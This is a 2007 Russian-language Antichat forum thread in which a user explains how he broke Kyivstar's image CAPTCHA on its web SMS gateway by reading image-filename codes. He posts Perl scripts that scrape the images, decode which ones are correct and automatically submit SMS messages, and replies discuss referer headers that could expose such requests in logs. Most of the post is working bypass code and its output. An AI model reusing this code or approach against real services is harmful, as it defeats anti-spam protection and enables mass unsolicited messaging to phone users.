Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

19.09.2007, 14:44
|
|
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме: 4094601
Репутация:
495
|
|
Kyivstar CAPTHA IV
Kyivstar CAPTHA IV
I. Введение- Пару слов от меня
- Студия Лебедева
II. История исследования - Первые впечатления
- Сортировка собранного материала
III. Реализация, примеры- Даулоадер captha картинок
- Пример отправки сообщения
I. Введение- Пару слов от меня
Киевстaр ИМХО хороший оператор - сам им пользуюсь, приемлемые тарифы, хорошая связь.
Я не заинтересован наносить какой - либо ущерб оператору, и поетому выкладываю запоздалый материал( тобиш уже пофиксили ) - Студия Лебедева
Разработчики всего сайта ,да и данной защиты от спама , является студия " Артемия Лебедева".
Студия Лебедева немало известна:
" 19 июня 2001 года на церемонии награждения победителей сорок восьмого Международного фестиваля рекламы « Каннские львы 2001» Студию Артемия Лебедева наградили бронзовым львом ( Cyber Lion, категория Rich Media Banners) за серию нарисованных дизайнером студии Олегом Пащенко flash-баннеров « Дизайн спасет мир»"
источник : _ http://www.artlebedev.ru/news/2001/algrelease_261.html
II. История исследования - Первые впечатления
Когда я узнал что старую капчу( CAPTHA III) переделали ,зашел на страничку киевстара , решил взглянуть что и как там .
Всё было как прежде , только длинна кода каждой картинки была разной , это и насторожило .
Коды картинок небыли похожи между собой ( как было в третий капче - константы соединения ).
После это я всё забросил всё это дело. Спустя неделю, снова решил все-таки отыскать что-то.
Решил сохранять все картинки живой природы с кодами. Нечего интересно с этого не вышло , много времени потратил
Результата 0 картинки были одинаковыми , а вот их коды совсем не были похожи - почти всё разной длинны и т.д. Позже я решил повторить предыдущие действия , на этот раз я написал скриптик для сбора картинок,- граблей в написание почти не было, так как я немного модифицировал предыдущий скрипт.
Скрипт описание и комментарии смотрим в 3-й главе
- Сортировка собранного материала
Скриптом я набрал около ~220 картинок. Пришло время искать что-то схожие. Я начал замечать одинаковые окончание файлов
Отсортировав файлы по окончаниям, у меня вышло 20 папок :
Код:
334547344F0840E178FC0e3
8DDA07C009F4E3
2D60E632B2795B
3494C4F70BB1A973B26
20B9DB12FDA9A
29B4A8EDF0D4060E0
4CD30DCA59DA4
8CE1148A2A156
263473E3826CD902C237C6
2D8BD0345BE3472
4A5EAE2811CE45
24691483129FF7D42D
356E4403F59A0
5F48180428
3E982518932CF8BD
6282A989E21DE0
75409329CDCBD22D
7030A8CBADD3D
9D9614E41B573
8B6514DAEEBA05
Код:
C:\img\sort\thr>tree /F
Вот что получил ( перевожу малый кусочек, для избегания больших постов):
Код:
Структура папок
Серийный номер тома: XXXX-XXXX
C:\
+---334547344F0840E178FC0e3
¦ E114C4761C3DC52111 334547344F0840E178FC0e3.jpg [-]
¦ 1A8F82721774AE105 334547344F0840E178FC0e3.jpg [-]
¦ 1C3574F90767894545114 334547344F0840E178FC0e3.jpg [-]
¦ 7CA85C667767632113 334547344F0840E178FC0e3.jpg [-]
¦ 56D935235BF030291 334547344F0840E178FC0e3.jpg [+]
¦ 79F28EB6BD42593456110 334547344F0840E178FC0e3.jpg [-]
¦ 79F28EB6BD42593456113 334547344F0840E178FC0e3.jpg [-]
¦ 162C03A633356345056110 334547344F0840E178FC0e3.jpg [-]
¦ 01760EF081D82E6556119 334547344F0840E178FC0e3.jpg [-]
¦ 66557CFC07092454591 334547344F0840E178FC0e3.jpg [+]
¦ 66557CFC07092454597 334547344F0840E178FC0e3.jpg [+]
¦ C24AD517FE525684 334547344F0840E178FC0e3.jpg [+]
¦ C25E7FC133B5F134699 334547344F0840E178FC0e3.jpg [+]
¦
+---8DDA07C009F4E3
¦ 9E0D656C0682185635343115 8DDA07C009F4E3.jpg [-]
¦ 162C03A633356345056114 8DDA07C009F4E3.jpg [-]
¦ 66557CFC07092454597 8DDA07C009F4E3.jpg [+]
¦ C5DE8F1843E8EE57688 8DDA07C009F4E3.jpg [+]
¦ C5DE8F1843E8EE57689 8DDA07C009F4E3.jpg [+]
¦ C24AD517FE5256111 8DDA07C009F4E3.jpg [-]
¦ CD72DF83AC5C104 8DDA07C009F4E3.jpg [-]
¦ DD6EFFD6404D176456495 8DDA07C009F4E3.jpg [+]
¦ 1A8F82721774AE116 8DDA07C009F4E3.jpg [-]
¦ 66557CFC07092454592 8DDA07C009F4E3.jpg [+]
¦ 7CA85C667767632119 8DDA07C009F4E3.jpg [-]
¦
+---8B6514DAEEBA05
..........
Плюсом отмечены картинки живой природы.
В дальнейшем я заметил чем-то похожие коды картинок
Код:
79F28EB6BD4259345698 2D60E632B2795B.jpg
FFD6404D1764564798 3494C4F70BB1A973B26.jpg
После визуального разделения вот что получилось
Код:
79F28EB6BD42593456 98 2D60E632B2795B.jpg
FFD6404D17645647 98 3494C4F70BB1A973B26.jpg
Вот и мои выводы по поводу кода:
Код:
-Папки по которым я отсортировал картинки -константы ,а еще точней это соли.
-Отбрасываем соль, считываем последние две цифры , это есть "сущность " картинки ( природа , не природа )
-И наконец отбрасываем соль и последние два цыфры , это есть позиция (координаты) звёздочки(помехи на картинке)
После такого визуального отделения я перешел к практическому  , разделил всё. И собрал свою базу живой природы
Код:
'83','84','85','86','87','88','89',
'90','91','92','93','94','95','96',
'97','98','99'
Собственно и всё далее осталось написать скрипт , смотрим в следующей главе
III. Реализация, примеры- Даулоадер captha картинок
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
use warnings;
print "\t\tks_exemple.pl ~ / Kyivstar Image downloader / v1.1b\n".
"\t\tby demonoid 212-905-288\n".
"\t\tspecical for forum.antichat.ru / 23.08.2007 /\n\n";
my $ua = LWP::UserAgent->new;
#----------------------------------------------------------------->
my $url = 'http://www.kyivstar.net/_sms/';
my $path = "C:/img/";
my $img_god = 0;
my $img_bed = 0;
my $errfile = "error_img.log";
my $gdfile = "good_img.log";
#----------------------------------------------------------------->
for(0..24){
my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
my $res = $response->content;
my ( @img_code , $con_code ,$img);
#print $res;
@img_code = ( $res =~ m/<img src="(\w+)"/gi);
$con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);
#-------------------------------------------------------------->
open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n";
for(0..8)
{
$img="http://kyivstar.net/_sms/$img_code[$_]";
$res = $ua -> get("$img", ':content_file' => "$path$img_code[$_].jpg",
'Referer' => 'http://kyivstar.net/_sms/?lang=ua');
if( $res->status_line =~/404/ )
{
print ERR_FILE "$img_code[$_]\n";
$img_bed++;
}
else
{
print GD_FILE "$img_code[$_]\n";
$img_god++;
}
}
}
print "\t\tGood img : $img_god \tBeed img : $img_bed\n".
"\t\t----------------------------\n\n".
"\t\t[+]All dome!\n".
"\t\t[!]Loock img : $path \n".
"\t\t[~]Error file : $path$errfile\n".
"\t\t[~]Good file : $path$gdfile\n";
close ERR_FILE;
close GD_FILE;
Все картинки и логии в C:/img/ - Пример отправки сообщения
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
use warnings;
my ( @live_images,@images_sid,@last3figure,@length,$curr_salt,$curr_live_images,$live_images_code);
my $debug_mode = 0; #режим отладки '1'
my $c = 0;
my $k = 0;
my @good_img = ( '83','84','85','86','87','88','89',
'90','91','92','93','94','95',
'96','97','98','99' );
# salt двумерный массив который содержит последние 3 символа, и длину каждой соли
# к примеру @salt[0][0] = 0e3 ,окончание соли 0e3 - длинна этой соли @salt[1][0] = 23
# и т.д.
my @salt=( ['0e3','4E3','95B','B26','A9A','0E0','DA4',
'156','7C6','472','E45','42D','9A0','428',
'8BD','DE0','22D','D3D','573','A05' ],
[ '23','14','14','19','13','17','13','13','22','15',
'14','18','13','10','16','14','16','13','13','14' ]);
my $ua = LWP::UserAgent->new;
my $url = 'http://www.kyivstar.net/_sms/';
my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
my $res = $response->content;
#print $res;
@live_images = ( $res =~ m/<img src="(\w+)"/gi);
@images_sid = ( $res =~ m/<input type="hidden" name="images_sid" value="(\w+)"/gi);
for(0..8)
{
debug("| 0x0%d ",$_+1);
$length[$_] = length($live_images[$_]);
$last3figure[$_] = substr($live_images[$_],$length[$_]-3,3);
debug("| %50s | %s |\n",$live_images[$_],$last3figure[$_]);
}
debug("\n");
for(0..8) # 20 salt
{
debug("| 0x0%d ",$_+1);
$curr_salt = $last3figure[$_];
for(0..19)
{
if( $curr_salt =~ /$salt[0][$_]/ )
{
debug("| %3s | %2d |",$salt[0][$_],$salt[1][$_]);
$length[$c] = $salt[1][$_];
$c++;
}
}
$live_images[$_] = substr($live_images[$_],-$length[$_]-2,2);
debug(" %2d |\n",$live_images[$_]);
}
debug("\n");
for(0..8)
{
$k++;
$curr_live_images = $live_images[$_];
for(0..16)
{
if( $curr_live_images == $good_img[$_] )
{
#print "[$k] $curr_live_images\n";
debug("| 0x0%d | %2d | \n",$k,$curr_live_images);
$live_images_code.="0$k";
}
}
}
debug("\nLive image code:%s\nImages sid:%d",$live_images_code,$images_sid[0]);
&send_function($live_images_code,$images_sid[0]);
#--------------------------------------------------------------------------------------->
sub debug
{
if($debug_mode)
{
my @buf = @_;
printf @buf;
}
}
#----------------------------------------------------------------------------------------->
sub send_function
{
my ($live_images_code,$images_sid)=@_;
my $browser = LWP::UserAgent->new;
$browser->agent('New captha v4.0');
#$browser->proxy(['http'] => 'http://119.243.141.177:8080/');
my $mob_code = "097";
my $mob_number = "XXXXXXX";
my $messenge = "hello_antichat.ru";
my $url="http://kyivstar.net/_sms/";
printf "\n\n\t[+]Send %s-%s \n\tmessage: \<<%s\>> \n",
$mob_code,$mob_number,$messenge ;
my $response = $browser->post($url,
["submitted" => "true",
"lang" => "ua",
"sms_adv" => "101",
"mobcode" => $mob_code,
"number" => $mob_number,
"lat" => 1,
"message" => $messenge,
"images_sid" => $images_sid,
"live_images" => $live_images_code],
"Content-Type" => "application/x-www-form-urlencoded",
"Referer" => "http://kyivstar.net/_sms/",
"Connection" => "Keep-Alive",
"Cache-Control"=> "no-cache");
my $status= $response->as_string();
( $status =~/messageID/g )?print "\t[+] messenge it is successfully sent\n":print "\t[-] messenge it is not sent";
}
Пример вызова
Код:
[+]Send 097-XXXXXXX
message: <<hello_antichat.ru>>
[+] messenge it is successfully sent
В целях более глубокого изложения материала, сделал режим отладки $debug_mode = 1
Снова вызываем
Код:
| 0x01 | 01760EF081D82E65561194CD30DCA59DA4 | DA4 | #0x01 -картинка №1 , DA4-окончание соли
| 0x02 | C25E7FC133B5F13461042D60E632B2795B | 95B | #0x02 -картинка №2 , 95B-окончание соли
| 0x03 | 46477C4FD14B23451137030A8CBADD3D | D3D | #...
| 0x04 | 02CF3C913149356535671093494C4F70BB1A973B26 | B26 |
| 0x05 | 827C7585B764648629B4A8EDF0D4060E0 | 0E0 |
| 0x06 | 66557CFC0709245459775409329CDCBD22D | 22D |
| 0x07 | FFD6404D1764564795356E4403F59A0 | 9A0 |
| 0x08 | 9E0D656C06821856353431128B6514DAEEBA05 | A05 |
| 0x09 | C24AD517FE5256849D9614E41B573 | 573 |
| 0x01 | DA4 | 13 | 19 | #0x01 -картинка №1,DA4-окончание соли,13 длинна соли,19 - "сущность" картинки
| 0x02 | 95B | 14 | 4 | #0x02 -картинка №2,95B-окончание соли,14 длинна соли,4 - "сущность" картинки
| 0x03 | D3D | 13 | 3 | #...
| 0x04 | B26 | 19 | 9 |
| 0x05 | 0E0 | 17 | 86 |
| 0x06 | 22D | 16 | 97 |
| 0x07 | 9A0 | 13 | 95 |
| 0x08 | A05 | 14 | 12 |
| 0x09 | 573 | 13 | 84 |
| 0x05 | 86 | #0x05 -картинка №5,86 - "сущность" картинки (живая природа по базе)
| 0x06 | 97 | #0x06 -картинка №6,97 - "сущность" картинки (живая природа по базе)
| 0x07 | 95 | #...
| 0x09 | 84 |
Live image code:05060709 #номера картинок 0x05,0x06,0x07,0x09
Images sid:3537373
[+]Send 097-XXXXXXX
message: <<hello_antichat.ru>>
[+] messenge it is successfully sent
И напоследок:
_ http://artlebedev.ru -сайт Студии Артемия Лебедева
_ http://www.kyivstar.net/_sms/ -киевстар , отправка сообщения
_ http://forum.antichat.ru/thread45934.html -3.0 капча
_ http://forum.antichat.ru/thread46080.html -3.1 капча, мой предыдущий материал ,данной тематики
Важно : - Материал исключительно в ознакомительных целях!
- Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.
Последний раз редактировалось demonoid; 25.09.2007 в 07:44..
Причина: Дополнение
|
|
|

21.09.2007, 20:34
|
|
Новичок
Регистрация: 19.09.2007
Сообщений: 17
Провел на форуме: 73734
Репутация:
9
|
|
Ты как будто курсовую работу писал: 90% воды
Все ж просто:
Код:
[левая_хрень]X[правая_хрень]
Х - уникальный номер картинки
Левая и правая хрень - это наборы из 20ти случайных строк.
Но все равно зачет))
Важно:
1. Материал исключительно в ознакомительных целях!
2. Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.
Какая разница, все равно пофиксили:/
|
|
|

21.09.2007, 21:10
|
|
Новичок
Регистрация: 19.09.2007
Сообщений: 17
Провел на форуме: 73734
Репутация:
9
|
|
Кстати, реферер не
http://kyivstar.net/_sms/
а один из:
http://kyivstar.net/_sms/?lang=ua
http://kyivstar.net/_sms/?lang=ru
http://kyivstar.net/_sms/?lang=en
|
|
|

21.09.2007, 22:59
|
|
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
Провел на форуме: 2487541
Репутация:
761
|
|
познавательно. Один мой знакомый вообще сделал интересную капчу. Нарисовал 10-ть картинок с цифрами и выдавал их подряд. Тоесть по ссылкам на картинки можно легко определить код. Я долго ржал, когда увидел такую реализацию.
Только я не понимаю, зачем так все через хитро закрученную жопу делать, особенно такой канторе. Могли бы выдавать без всяких там 8DDA07C009F4E3.jpg, а тупо у всех одна ссылка на картинку capha.jpg, которая генерируется разными шрифтами с разным наклоном букв. Или GD тогда ещё не было?
|
|
|

21.09.2007, 23:38
|
|
Новичок
Регистрация: 19.09.2007
Сообщений: 17
Провел на форуме: 73734
Репутация:
9
|
|
познавательно. Один мой знакомый вообще сделал интересную капчу. Нарисовал 10-ть картинок с цифрами и выдавал их подряд. Тоесть по ссылкам на картинки можно легко определить код. Я долго ржал, когда увидел такую реализацию.
Только я не понимаю, зачем так все через хитро закрученную жопу делать, особенно такой канторе. Могли бы выдавать без всяких там 8DDA07C009F4E3.jpg, а тупо у всех одна ссылка на картинку capha.jpg, которая генерируется разными шрифтами с разным наклоном букв. Или GD тогда ещё не было?
Интерестный момент:
Недели две или три назад, урлы у картинок были тупо порядковыми номерами этих картинок, т.е. 1, 2, 3, 4, 5, 6, 7, 8, 9. У первой урл был всегда 1, у второй - всегда 2 и тд. Информации в таких урлах - ноль!
Небыло никаких страшных 01760EF081D82E65561194CD30DCA59DA4.jpg
В какой то день к этим уралам добавился параметр точно не помню, но что то типа такого:
Код:
<img src="1?antichat=541254" />
<img src="2?antichat=654654" />
...
<img src="9?antichat=1965211" />
потом убрали. Видимо боролись с кешем
Через пару дней смотрю: снова вернули старые урлы, типа 01760EF081D82E65561194CD30DCA59DA4.jpg
А сейчас -- снова порядковые номера  на долго ли?
Последний раз редактировалось xMash; 21.09.2007 в 23:42..
|
|
|

21.09.2007, 23:39
|
|
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме: 4094601
Репутация:
495
|
|
xMash
Просьба описывает тематические ошибки более конкретно - Если речь о даунлоадере картинок
Код:
.....
'Referer' => 'http://kyivstar.net/_sms/?lang=ua');
....
- Если про сендер . Разбор полётов :
Код:
POST /_sms/?lang=ua HTTP/1.1
Host: kyivstar.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru;
.......
Connection: keep-alive
Referer: http://kyivstar.net/_sms/
...........
Что не нравиться в рефере сендера?
Пакет выловлен плагином под ФФ Live HTTP headers
Последний раз редактировалось demonoid; 21.09.2007 в 23:50..
|
|
|

21.09.2007, 23:46
|
|
Новичок
Регистрация: 19.09.2007
Сообщений: 17
Провел на форуме: 73734
Репутация:
9
|
|
demonoid,
Я про реферер сендера
Зайдите на http://kyivstar.net/sms/, там в ифрейме всегда фигурирует параметр lang
Код:
<iframe src="/_sms/?lang=ua" frameborder="0" scrolling="no" width="600" height="550"></iframe>
Последний раз редактировалось xMash; 21.09.2007 в 23:54..
|
|
|

22.09.2007, 00:04
|
|
Новичок
Регистрация: 19.09.2007
Сообщений: 17
Провел на форуме: 73734
Репутация:
9
|
|
Сообщение от demonoid
Что не нравиться в рефере сендера?
Пакет выловлен плагином под ФФ Live HTTP headers
Нормальныйы реферер, только с таким реферером вы скорее всего себя палите.
Ведь, про подмену реферера в наши дни знают, наверное, все. Поэтому там, наскольлко я заметил, стотит, что то типа ловушки: пустой реферер не канает, а все остальное что содержить kyivstar, хавается. Проверял.
Тоесть в логах ваши рефереры будут выделяться на фоне остальных, потому что вы допустили в нем ошибку.
Это конечно, всего лиш мое предположение.
|
|
|

22.09.2007, 00:07
|
|
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме: 4094601
Репутация:
495
|
|
Сообщение от xMash
demonoid
Я про реферер сендера
Зайдите на http://kyivstar.net/sms/, там в ифрейме всегда фигурирует параметр lang
Код:
<iframe src="/_sms/?lang=ua" frameborder="0" scrolling="no" width="600" height="550"></iframe>
Сам ответил на свой вопрос:
_хттп://www.kyivstar.net/ _sms/
вместо хттп://www.kyivstar.net/sms/
Внимательно смотрим исходники :\
Код:
26: my $ua = LWP::UserAgent->new;
27: my $url = 'http://www.kyivstar.net/_sms/';
Вопрос исчерпан
пс:хватит нести чушь :/
|
|
|

22.09.2007, 00:11
|
|
Новичок
Регистрация: 19.09.2007
Сообщений: 17
Провел на форуме: 73734
Репутация:
9
|
|
Сообщение от demonoid
Вопрос исчерпан
пс:хватит нести чушь :/
чушь???????????????
это твой реферер  мне насрать
Последний раз редактировалось xMash; 22.09.2007 в 00:55..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|